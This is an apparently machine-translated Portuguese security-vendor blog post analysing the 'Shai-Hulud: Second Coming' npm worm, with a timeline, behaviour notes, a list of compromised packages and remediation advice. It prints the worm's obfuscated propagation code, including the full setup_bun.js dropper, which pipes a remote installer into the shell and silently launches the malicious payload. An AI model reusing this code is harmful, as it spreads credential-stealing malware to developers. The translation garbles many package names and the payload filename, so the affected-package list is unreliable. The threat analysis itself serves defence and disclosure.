É mais uma segunda-feira de manhã, sentado em frente ao computador. E vejo uma pilha de alertas da última hora de pacotes que mostram sinais de malware na nossa fila de triagem. Ainda sem terminar a minha primeira chávena de café, vejo indicadores de Shai Hulud. Caramba, com certeza que é um falso positivo? Não, bem-vindo à segunda-feira, Shai Hulud atacou novamente. Prepare-se.
Cronologia da Campanha Shai-Hulud
O momento é notável, dado o recente anúncio da npm de que revogará os tokens clássicos em 9 de dezembro, após a onda de ataques à cadeia de suprimentos. Com muitos utilizadores ainda não migrados para a publicação confiável, o invasor aproveitou o momento para mais um ataque antes do prazo final da npm.
- 27 de agosto - Divulgamos o nosso relatório detalhando a campanha S1ngularity, que tem como alvo vários pacotes nx no npm.
- 16 de setembro - O invasor ataca novamente, lançando a primeira onda dos ataques Shai-Hulud.
- 18 de setembro — Publicamos uma análise complementar, aprofundando as peculiaridades técnicas da campanha e o comportamento inicial da carga útil.
- 24 de novembro — Ocorre um segundo ataque, apelidado de «Segunda Vinda» pelos invasores, programado para ocorrer pouco antes do prazo final da npm para revogar os tokens antigos.
O que é Shai-Hulud?: Uma rápida atualização
Shai-Hulud, nomeado em homenagem aos gigantescos vermes da areia de Dune como parte do talento teatral do atacante, é um worm npm auto-replicável criado para se espalhar rapidamente por ambientes de desenvolvimento comprometidos. Depois de infectar um sistema, ele procura por secrets expostos, secrets chaves API e tokens, usando o TruffleHog, e publica tudo o que encontra num repositório GitHub público. Em seguida, ele tenta enviar novas cópias de si mesmo para o npm, ajudando-o a se propagar pelo ecossistema, enquanto exfiltra dados de volta para o atacante. Mantendo o tema dramático, o atacante se refere a essa última onda como a “Segunda Vinda”.
Diferenças em relação à última vez
Desta vez, há algumas diferenças significativas no ataque:
- Ele instala o bun com o ficheiro
setup_bun.jse, em seguida, usa isso para executarbun_ambiente.jsque é o código malicioso propriamente dito. - Cria um repositório com nome aleatório com os dados roubados, em vez de um nome codificado.
- Ele infectará até 100 pacotes npm, em comparação com 20 na última vez.
- Se não for possível autenticar com o GitHub ou o NPM, todos os ficheiros no diretório Home do utilizador serão apagados.
Vazamento de secrets
Desta vez, o malware também publica secrets GitHub, com um nome aleatório e a descrição do repositório:
"Sha1-Hulud: A Segunda Vinda."
Atualmente, vemos 26,3 mil repositórios expostos:

Erros cometidos novamente
Ao analisarmos todos esses pacotes, notamos vários pacotes comprometidos que parecem ter se espalhado pela comunidade e que contêm o código inicial de preparação em setup_bun.js, mas NÃO bun_ambiente.js que é o próprio worm Shai Hulud. Aqui está o código que espalha o worm para outros pacotes:
async ["bundleAssets"](_0x349b3d) {
let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n try {\n const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n execSync(command, { stdio: 'ignore' });\n return true;\n } catch {\n return false;\n }\n}\n\nfunction reloadPath() {\n // Reload PATH environment variable\n if (process.platform === 'win32') {\n try {\n // On Windows, get updated PATH from registry\n const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n encoding: 'utf8'\n });\n process.env.PATH = result.trim();\n } catch {\n }\n } else {\n try {\n // On Unix systems, source common shell profile files\n const homeDir = os.homedir();\n const profileFiles = [\n path.join(homeDir, '.bashrc'),\n path.join(homeDir, '.bash_profile'),\n path.join(homeDir, '.profile'),\n path.join(homeDir, '.zshrc')\n ];\n\n // Try to source profile files to get updated PATH\n for (const profileFile of profileFiles) {\n if (fs.existsSync(profileFile)) {\n try {\n const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n encoding: 'utf8',\n stdio: ['pipe', 'pipe', 'ignore']\n });\n if (result && result.trim()) {\n process.env.PATH = result.trim();\n break;\n }\n } catch {\n // Continue to next profile file\n }\n }\n }\n\n // Also check if ~/.bun/bin exists and add it to PATH if not already there\n const bunBinDir = path.join(homeDir, '.bun', 'bin');\n if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n }\n } catch {}\n }\n}\n\nasync function downloadAndSetupBun() {\n try {\n let command;\n if (process.platform === 'win32') {\n // Windows: Use PowerShell script\n command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n } else {\n // Linux/macOS: Use curl + bash script\n command = 'curl -fsSL https://bun.sh/install | bash';\n }\n\n execSync(command, {\n stdio: 'ignore',\n env: { ...process.env }\n });\n\n // Reload PATH to pick up newly installed bun\n reloadPath();\n\n // Find bun executable after installation\n const bunPath = findBunExecutable();\n if (!bunPath) {\n throw new Error('Bun installation completed but executable not found');\n }\n\n return bunPath;\n } catch {\n process.exit(0);\n }\n}\n\nfunction findBunExecutable() {\n // Common locations where bun might be installed\n const possiblePaths = [];\n\n if (process.platform === 'win32') {\n // Windows locations\n const userProfile = process.env.USERPROFILE || '';\n possiblePaths.push(\n path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n );\n } else {\n // Unix locations\n const homeDir = os.homedir();\n possiblePaths.push(\n path.join(homeDir, '.bun', 'bin', 'bun'),\n '/usr/local/bin/bun',\n '/opt/bun/bin/bun'\n );\n }\n\n // Check if bun is now available on PATH\n if (isBunOnPath()) {\n return 'bun';\n }\n\n // Check common installation paths\n for (const bunPath of possiblePaths) {\n if (fs.existsSync(bunPath)) {\n return bunPath;\n }\n }\n\n return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n const child = spawn(execPath, args, {\n stdio: 'ignore',\n cwd: opts.cwd || process.cwd(),\n env: Object.assign({}, process.env, opts.env || {})\n });\n\n child.on('error', (err) => {\n process.exit(0);\n });\n\n child.on('exit', (code, signal) => {\n if (signal) {\n process.exit(0);\n } else {\n process.exit(code === null ? 1 : code);\n }\n });\n}\n\n// Main execution\nasync function main() {\n let bunExecutable;\n\n if (isBunOnPath()) {\n // Use bun from PATH\n bunExecutable = 'bun';\n } else {\n // Check if we have a locally downloaded bun\n const localBunDir = path.join(__dirname, 'bun-dist');\n const possiblePaths = [\n path.join(localBunDir, 'bun', 'bun'),\n path.join(localBunDir, 'bun', 'bun.exe'),\n path.join(localBunDir, 'bun.exe'),\n path.join(localBunDir, 'bun')\n ];\n\n const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n if (existingBun) {\n bunExecutable = existingBun;\n } else {\n // Download and setup bun\n bunExecutable = await downloadAndSetupBun();\n }\n }\n\n const environmentScript = path.join(__dirname, 'bun_environment.js');\n if (fs.existsSync(environmentScript)) {\n runExecutable(bunExecutable, [environmentScript]);\n } else {\n process.exit(0);\n }\n}\n\nmain().catch((error) => {\n process.exit(0);\n});\n");
let _0x3ed61a = process.argv[0x1];
if (_0x3ed61a && (await My1(_0x3ed61a))) {
let _0x1028dd = await mL0(_0x3ed61a);
if (_0x1028dd !== null) {
let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
await iL0(_0x4cc8b3, _0x1028dd);
}
}
}Vemos que o bun_ambiente.js podem, por vezes, não ser agrupados, dependendo de diferentes fatores. Parece que os atacantes cometeram novamente erros. Isso parece ter limitado o impacto do ataque neste momento.
Repositórios GitHub comprometidos
A equipa da AsyncAPI detectou que havia uma ramificação do seu projeto CLI, criada pouco antes do envio dos pacotes maliciosos, que implementava uma versão do malware Shai Hulud.
https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js

Isso sugere que os atacantes podem ter usado uma técnica semelhante à que utilizaram para realizar o comprometimento original do Nx.
As empresas reconhecem o incidente
Dada a natureza do incidente, ficámos muito felizes em ver as empresas reconhecerem rapidamente o que aconteceu, em publicações dessas empresas:
Paciente zero
Detectámos os primeiros pacotes a partir das 3:16:26 da manhã GMT+0 de 24/11/2025, que eram os pacotes go-template e 36 pacotes de AsyncAPI. Muitos outros pacotes foram rapidamente comprometidos. Depois disso, eles começaram a comprometer os pacotes PostHog em 24/11/2025 às 4:11:55 GMT+0 e os pacotes Postman em 24/11/2025 às 5:09:25 GMT+0.
Quais pacotes são afetados?
Detectámos os seguintes pacotes comprometidos com uma nova versão do Shai Hulud. Entre todos estes 492 pacotes, eles têm um total de 132 milhões de downloads mensais:
- @asyncapi/diff
- @asyncapi/nodejs-ws-template
- go-template
- @asyncapi/avro-schema-parser
- @asyncapi/conversor
- @asyncapi/dotnet-rabbitmq-template
- @asyncapi/filtros-nunjucks
- @asyncapi/protobuf-schema-parser
- @asyncapi/problema
- @asyncapi/optimizer
- @asyncapi/python-paho-template
- @asyncapi/multi-parser
- @asyncapi/empacotador
- @asyncapi/php-template
- visualização do asyncapi
- @asyncapi/java-spring-cloud-stream-template
- @asyncapi/modelina-cli
- @asyncapi/generator-helpers
- @asyncapi/java-template
- @asyncapi/react-component
- @asyncapi/gerador
- @asyncapi/server-api
- @asyncapi/java-spring-template
- @asyncapi/cli
- @asyncapi/componente-web
- @asyncapi/especificações
- @asyncapi/modelina
- @asyncapi/parser
- @asyncapi/html-template
- @asyncapi/go-watermill-template
- @asyncapi/openapi-schema-parser
- @asyncapi/edavisualiser
- @asyncapi/generator-components
- modelo dotnet
- @asyncapi/keeper
- ação do github para gerador
- @asyncapi/nodejs-template
- @asyncapi/modelo-markdown
- @quick-start-soft/quick-git-clean-markdown
- @quick-start-soft/quick-markdown-image
- @quick-start-soft/quick-markdown-translator
- @quick-start-soft/quick-markdown
- teste23112222-api
- @asyncapi/generator-react-sdk
- @quick-start-soft/quick-markdown-compose
- mini-aplicativo-escudo-de-ferro
- sistema-de-faturamento-manual-miniapp-api
- limite-shinhan-sucata
- @strapbuild/react-native-perspective-image-cropper
- react-native-use-modal
- @quick-start-soft/quick-task-refine
- @strapbuild/react-native-date-time-picker
- @strapbuild/react-native-perspective-image-cropper-2
- criar-aplicativo-glee
- @strapbuild/react-native-perspective-image-cropper-poojan31
- @asyncapi/estúdio
- @quick-start-soft/quick-markdown-print
- @quick-start-soft/quick-remove-image-background
- eslint-config-zeallat-base
- coreia-área-administrativa-geo-json-util
- @quick-start-soft/tradutor-rápido-de-documentos
- construtor axios
- posthog-nó
- @posthog/rastreador-de-eventos-pela-primeira-vez
- @posthog/plugin-temporizador-sequência-de-eventos
- @posthog/gitub-star-sync-plugin
- plugin-posthog-hello-world
- @posthog/bitbucket-release-tracker
- @posthog/plugin-maxmind
- @posthog/plugin-postgres
- @posthog/plugin-twilio
- @posthog/cli
- @posthog/clickhouse
- @posthog/plugin-de-exportação-snowflake
- posthog-react-native-reprodução-de-sessão
- @posthog/drop-events-on-property-plugin
- @posthog/plugin-de-rastreamento-de-lançamentos-do-github
- @posthog/ícones
- @posthog/plugin geoip
- @posthog/plugin-intercom
- @posthog/plugin-unduplicates
- @posthog/react-rrweb-player
- plugin-de-eventos-de-queda-na-propriedade
- @posthog/plugin-de-alerta-de-ingestão
- @posthog/plugin-kinesis
- @posthog/plugin-de-alto-falante
- @posthog/nextjs
- @posthog/nextjs-config
- @posthog/plugin-de-coortes-automáticas
- @posthog/migrator3000-plugin
- @posthog/plugin-pagerduty
- @posthog/plugin-contrib
- @posthog/plugin-sendgrid
- @posthog/plugin-de-cliente
- @posthog/rrweb-utils
- @posthog/plugin-de-taxonomia
- @posthog/plugin-zendesk
- @posthog/netdata-event-processing
- @posthog/plugin-normalizador-de-url
- posthog-docusaurus
- @posthog/plugin-de-normalização-de-moeda
- @posthog/plugin-de-filtragem
- @posthog/plugin-heartbeat
- @actbase/react-native-fast-image
- @posthog/ai
- @posthog/plugin-databricks
- @actbase/react-native-kakao-channel
- calcular-empréstimo-juros
- @actbase/react-absolute
- @actbase/react-daum-postcode
- @actbase/react-native-vídeo-simples
- @posthog/core
- @posthog/lemon-ui
- @seung-ju/próximo
- @seung-ju/react-hooks
- posthog-react-native
- @actbase/css-para-react-native-transform
- @actbase/react-native-actionsheet
- @actbase/react-native-tiktok
- @seung-ju/react-native-action-sheet
- @actbase/react-kakaosdk
- @posthog/agente
- @posthog/plugin-variance
- servidor-bot-discord
- @posthog/rrweb-replay
- @posthog/rrweb-snapshot
- @actbase/servidor-node
- @actbase/react-native-devtools
- @posthog/plugin-server
- @posthog/rrweb-record
- @actbase/nativo
- @actbase/react-native-less-transformer
- @posthog/rrweb
- posthog-js
- @posthog/servidor-de-desenvolvimento-web
- @posthog/piscina
- @posthog/nuxt
- @posthog/rrweb-player
- @posthog/assistente
- @actbase/react-native-kakao-navi
- @posthog/siphash
- @posthog/plugin-seguidores-do-twitter
- @actbase/react-native-naver-login
- @seung-ju/openapi-generator
- @posthog/rrdom
- @posthog/modo-ouriço
- funções-worklet-react-native
- sessão de áudio da exposição
- poper-react-sdk
- @postman/secret-scanner-wasm
- @postman/csv-parse
- @postman/node-keytar
- @postman/tunnel-agent
- @postman/pm-bin-macos-arm64
- @postman/pm-bin-linux-x64
- @postman/postman-collection-fork
- @postman/postman-mcp-server
- @postman/wdio-junit-reporter
- @postman/ícones-aether
- @postman/postman-mcp-cli
- @postman/pretty-ms
- @postman/pm-bin-windows-x64
- @postman/wdio-allure-reporter
- @postman/final-node-keytar
- @postman/pm-bin-macos-x64
- @aryanhussain/my-angular-lib
- plugin-capacitor-apptrackingios
- compra-de-plugin-capacitor
- histórico-de-compras-de-capacitores
- capacitor-gravador-de-voz-wav
- scgs-capacitor-subscrever
- @postman/mcp-ui-client
- plugin-capacitor-scgssigninwithgoogle
- @kvytech/medusa-plugin-anúncio
- @kvytech/medusa-plugin-avaliações-de-produtos
- medusa-plugin-zalopay
- criador do scgsff
- @kvytech/habbit-e2e-test
- logs-do-plugin-medusa
- medusa-plugin-avaliações-de-produtos-kvy
- @kvytech/medusa-plugin-promoção
- plugin-medusa-momo
- @kvytech/componentes
- medusa-plugin-anúncio
- @kvytech/cli
- @kvytech/medusa-plugin-newsletter
- @kvytech/gestão-de-plugins-medusa
- @kvytech/web
- criar-aplicativo-hardhat3
- teste-aplicativo-capacete
- verificação de código evm-cli
- gate-evm-tools-teste
- gate-evm-verificar-código2
- tipos-de-web-htmx
- aplicação-de-teste-fundição
- tipos-de-web-lit
- plug-in bun-httpfile
- abrir2internet
- vite-plugin-httpfile
- @ensdomains/vite-plugin-i18next-loader
- @ensdomains/lista negra
- @ensdomains/durin
- @ensdomains/renovação
- @ensdomains/cypress-metamask
- verificador de bytecode-cli
- @ensdomains/dnsprovejs
- @ensdomains/ccip-read-dns-gateway
- @ensdomains/ccip-read-cf-worker
- @ensdomains/dnssec-oracle-anchors
- @ensdomains/registos reversos
- @ensdomains/ens-test-env
- @ensdomains/hackathon-registrador
- @ensdomains/widget-de-renovação
- codec de endereço criptográfico
- @ensdomains/solsha1
- @ensdomains/análise-de-servidores
- @ensdomains/ui
- @ensdomains/test-utils
- @ensdomains/simulação
- @ensdomains/ccip-read-router
- @zapier/babel-preset-zapier
- @ensdomains/hardhat-chai-matchers-viem
- @ensdomains/ccip-read-worker-viem
- @zapier/lista-de-navegadores-configuração-zapier
- @zapier/zapier-sdk
- @zapier/stubtree
- zapier-armazenamento-assíncrono
- @zapier/ações-de-IA
- @zapier/integração-mcp
- spectral
- @ensdomains/codificador-de-endereços
- kit de roteador redux
- @ensdomains/eth-ens-namehash
- zapier-scripts
- @ensdomains/buffer
- @ensdomains/thorin
- zapier-plataforma-legado-scripting-runner
- esquema-da-plataforma-zapier
- @ensdomains/dnssecoraclejs
- zapier-plataforma-núcleo
- @ensdomains/op-resolver-contracts
- @ensdomains/ens-contratos-arquivados
- @ensdomains/ensjs
- @ensdomains/registrador-de-subdomínios
- @ensdomains/gateways-irrefutáveis
- @ensdomains/web3modal
- zapier-plataforma-cli
- @ensdomains/ens-contracts
- @ensdomains/react-ens-address
- @ensdomains/curvearithmetics
- @zapier/secret-scrubber
- @ensdomains/caixa-de-ferramentas-hardhat-viem-extended
- ethereum-ens
- @ensdomains/durin-middleware
- @ensdomains/unicode-confusáveis
- @ensdomains/ensjs-react
- @ensdomains/content-hash
- @ensdomains/ens-avatar
- @zapier/ações-de-IA-reagir
- @zapier/eslint-plugin-zapier
- @ensdomains/contratos-de-resolução-offchain
- @ensdomains/ens-validação
- @ensdomains/name-wrapper
- @hapheus/n8n-nodes-pgp
- @markvivanco/verificador-de-versão-do-aplicativo
- atualizador-de-tokens-claude
- n8n-nodes-tmdb
- devstart-cli
- uso de competências
- @mcp-use/inspector
- zuper-sdk
- superfluxo
- @mcp-use/mcp-use
- criar-mcp-usar-aplicação
- mcp-use
- @mcp-use/cli
- zuper-cli
- @caretive/caret-cli
- instruções da CPU
- servidor lite-serper-mcp
- @louisle2/core
- jan-navegador
- ticker exato
- configuração-da-biblioteca-react
- sabonete orbital
- @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode
- token.js-fork
- marcadores de componentes react
- @louisle2/cortex-js
- editor-de-nebulosas-orbitais
- @trigo/pathfinder-ui-css
- @trigo/jsdt
- @trigo/atrix-redis
- @trigo/eslint-config-trigo
- @trigo/atrix-orientdb
- @trigo/node-soap
- eslint-config-trigo
- @trigo/expressões-booleanas
- @trigo/atrix-pubsub
- @trigo/atrix-elasticsearch
- @trigo/hapi-auth-signedlink
- @trigo/keycloak-api
- @trigo/atrix-soap
- @trigo/atrix-swagger
- @trigo/atrix-acl
- matriz
- redux-forge
- @trigo/atrix-mongoose
- @trigo/atrix
- ícones orbitais
- matriz-mangusto
- expressões booleanas
- react-element-prompt-inspector
- aplicação trigo-react
- @trigo/trigo-hapijs
- @trigo/fsm
- comando-irail
- @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode
- @trigo/atrix-postgres
- @orbitgtbelgium/time-slider
- @orbitgtbelgium/orbit-components
- ferramentas-de-desenho-de-nebulosa-orbital
- tipo de órbita
- @mparpaillon/connector-parse
- @mparpaillon/imagenscarregadas
- @commute/dados-de-mercado
- gitsafe
- @osmanekrem/gestor de erros
- @commute/bloom
- okta
- estúdio de design
- itobuz-angular
- @ifelsedeveloper/contratos-de-protocolo-svm-idl
- botão ito
- @dev-blinq/cucumber_client
- blinqio-execuções-cli
- itobuz-angular-auth
- @dev-blinq/ai-qa-logic
- axios-timed
- react-native-email
- busca persistente
- porta de eliminação
- jacob-zuma
- luno-api
- @lessondesk/eslint-config
- ordenar por distância
- bem quentinho
- imagem-para-uri
- react-native-chamada-telefónica
- formik-erro-foco
- jquery-bindings
- @lessondesk/babel-preset
- css básico
- coinmarketcap-api
- licença automática
- @varsityvibe/api-client
- pico-uid
- hiperterm-hipster
- definir-prop-aninhada
- bytes para x
- nome-da-ramificação-aplicada
- fittxt
- obter-os-args
- react-native-retriable-fetch
- svelte-autocomplete-select
- reversão de funcionalidade
- imagem em fase inicial
- react-native-view-finder
- loja formik
- shell-exec
- nível de registo do React Native
- @everreal/análise-web
- ícones react-native-jam
- @thedelta/eslint-config
- plug-in de pacotes - copiador de ativos
- react-native-websocket
- ra-data-firebase
- ícones react-jam
- react-native-fetch
- @ifings/sistema-de-design
- plugin-gatsby-cname
- @alexcolls/nuxt-ux
- react-native-datepicker-modal
- sem definição de tipo seguro
- downloads-de-extensões-do-chrome
- socket.io
- localizador difuso
- sa-número-de-registo-da-empresa-regex
- pilhas de abas
- react-keycloak-contexto
- react-qr-image
- @tiaanduplessis/react-progressbar
- @lessondesk/autocarro escolar
- @tiaanduplessis/json
- react-native-obter-dimensões-de-pixel
- nanoreset
- próxima-dependência-circular
- codificar-decodificar URL
- axios-cancelável
- comparar-obj
- wenk
- cliente-api-haufe-axera
- obj-para-css
- sa-id-gen
- @lessondesk/api-client
- @varsityvibe/esquemas-de-validação
- achatar-desachatar
- estor
- @clausehq/fluxos-etapa-jsonparaxml
- @accordproject/análise-de-concerto
- esperança-mapboxdraw
- contagem regressiva
- esperança
- @accordproject/markdown-it-cicero
- piclite
- @fishingbooker/react-swiper
- @fishingbooker/browser-sync-plugin
- gerador-meteoro-estoque
- @fishingbooker/react-loader
- benmostyn-moldura-impressão
- @fishingbooker/react-pagination
- @voiceflow/antrópico
- @voiceflow/tipos-de-voz
- @voiceflow/wrappers-de-prompt-padrão
- @voiceflow/npm-package-json-lint-config
- @voiceflow/nestjs-mongodb
- @voiceflow/tsconfig
- @voiceflow/teste-comum
- @voiceflow/husky-config
- @voiceflow/commitlint-config
- @voiceflow/verificação-de-ramo-git
- loja normal
- @voiceflow/prettier-config
- @voiceflow/stylelint-config
- modelo vf-oss
- @voiceflow/configuração-do-storybook
- @voiceflow/verror
- @voiceflow/tipos-alexa
- @voiceflow/nestjs-timeout
- @voiceflow/plugin-sem-servidor-typescript
- @voiceflow/tipos-de-voiceflow
- shelf-jwt-sessions
- @hover-design/react
- @voiceflow/tipos-básicos
- @voiceflow/eslint-config
- @voiceflow/fetch
- @voiceflow/comum
- @voiceflow/eslint-plugin
- @voiceflow/exceção
- @voiceflow/dtos-interact
- @voiceflow/google-types
- @voiceflow/nestjs-common
- @voiceflow/pino
- @voiceflow/sdk-runtime
- @voiceflow/nestjs-rate-limit
- @voiceflow/openai
- dialogflow-es
- @voiceflow/widget
- arc-cli-fc
- redutor composto
- adaptador bidirecional
- @antstackio/express-graphql-proxy
- @antstackio/json-para-graphql
- @voiceflow/body-parser
- @voiceflow/logger
- @antstackio/eslint-config-antstack
- @voiceflow/vitest-config
- @faq-component/core
- @pruthvi21/use-debounce
- @voiceflow/api-sdk
- @hover-design/core
- @faq-component/react
- @voiceflow/configuração-semântica-de-lançamento
- @voiceflow/vite-config
- @voiceflow/circleci-config-sdk-orb-import
- @voiceflow/backend-utils
- @voiceflow/slate-serializer
- @voiceflow/google-dfes-tipos
- n8n-nodes-aplicação-viral
- @accordproject/markdown-docx
- @clausehq/fluxos-etapa-enviar-e-mail-sendgrid
- @lpdjs/serviço-de-repositório-firestore
- @trefox/sleekshop-js
- invo
- jsonsurge
- mon-pacote-react-typescript
- rediff
- histórias-da-api-solomon
- solomon-v3-histórias
- solomon-v3-ui-wrapper
- tcsp-desenhar-teste
- uplandui
Impacto potencial de Shai-Hulud: Segunda Vinda
Os agentes maliciosos inseriram código malicioso em centenas de pacotes NPM — incluindo os principais da Zapier, ENS, AsyncAPI, PostHog, Browserbase e Postman. Se um programador instalar um desses pacotes maliciosos, o malware é executado silenciosamente durante a instalação, antes mesmo que ela seja concluída. Isso lhe dá acesso à máquina do programador, aos sistemas de compilação ou ao ambiente de nuvem. Em seguida, ele usa uma ferramenta automatizada (TruffleHog) para procurar informações confidenciais, como senhas, chaves de API, tokens de nuvem e credenciais do GitHub ou NPM. Tudo o que ele encontra é carregado para um repositório público do GitHub chamado “Sha1-Hulud: The Second Coming”. Se esses secrets roubados secrets acesso a repositórios de código ou registos de pacotes, os invasores podem usá-los para invadir mais contas e publicar mais pacotes maliciosos, ajudando o ataque a se espalhar ainda mais. Como ecossistemas confiáveis estavam envolvidos e milhões de downloads foram afetados, qualquer equipa que use o NPM deve verificar imediatamente se foi afetada e alterar todas as credenciais que possam ter vazado.
Que medidas as equipas de segurança devem tomar?
- Auditar todas as dependências e versões npm relacionadas com Zapier/ENS.
- Rote todos secrets do GitHub, npm, nuvem e CI/CD secrets durante as instalações.
- Verifique no GitHub se há repositórios estranhos com a descrição “Sha1-Hulud: The Second Coming”
- Desativar o npm
pós-instalaçãoscripts em CI, sempre que possível. - Fixar versões de pacotes e aplicar MFA em contas GitHub e npm.
- Use ferramentas como o Safe-Chain para bloquear pacotes maliciosos no NPM.
Proteja seu software agora



.avif)
